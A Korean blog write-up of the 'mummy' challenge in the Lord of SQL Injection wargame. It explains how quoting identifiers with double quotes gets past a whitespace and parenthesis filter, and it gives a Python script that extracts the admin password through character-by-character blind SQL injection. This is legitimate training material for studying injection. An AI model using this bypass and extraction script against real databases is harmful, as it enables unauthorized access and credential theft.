필터링에서 괄호와 슬래시를 사용하지 못하게 막아놨다. 또한 query 에서 0x01 ~ 0x20 값이 인식되면 exit 된다.
이번에는 신기하게 query 전체를 내가 구성할 수 있게 되었다. 공백을 우회하는 문제와 Blind SQL Injection 문제가 융합된 형식인 것 같다.
$result[0] 이 무슨 의미인지 궁금해서 sqlsrv_fetch_array 함수의 return 값을 검색해 보았다. success 할 경우에는 나오는 데이터를 array 형식으로 return 하고, fail 한다면 NULL 값을 반환한다. query 자체를 참으로만 만들면 'Hello anonymous'라는 문자열이 출력된다.
간단한 문제인 것 같다. 앞선 문제에서 column 명이 특수문자를 포함하거나 숫자로 시작할 경우에는 쿼터문자나 대괄호로 묶어주어야 한다고 했다. 일반적인 'dept'와 같은 이름의 column도 당연히 되는 것이다. 이를 이용하면 query에서 공백을 아예 없앨 수 있을 것 같다.
그냥 바로 exploit 코드를 짜자.
import requests
requests.packages.urllib3.disable_warnings()
org_url = "https://los.rubiya.kr/chall/mummy_2e13c2a4483d845ce2d37f7c910f0f83.php"
header = {'Cookie': 'PHPSESSID='}
session = requests.session()
# Brute Force
password = ''
for i in range(1, 20):
for j in range(48, 122):
payload = '?query="pw"from"prob_mummy"where"id"=' + "'admin'" + 'and"pw"like' + "'" + password + chr(j) + "%'"
res = session.get(url = org_url + payload, headers=header, verify=False)
if "Hello anonymous" in res.text:
password += chr(j)
print("Current PW is [ %s ]\n" % password)
break
# Result
print("\n\nPW --> %s\n" % password)
'Web Hacking > LOS' 카테고리의 다른 글
Lord of SQL Injection - cerberus (0) | 2021.10.05 |
---|---|
Lord of SQL Injection - yeti (0) | 2021.10.05 |
Lord of SQL Injection - siren (0) | 2021.10.05 |
Lord of SQL Injection - revenant (0) | 2021.10.05 |
Lord of SQL Injection - poltergeist (0) | 2021.10.03 |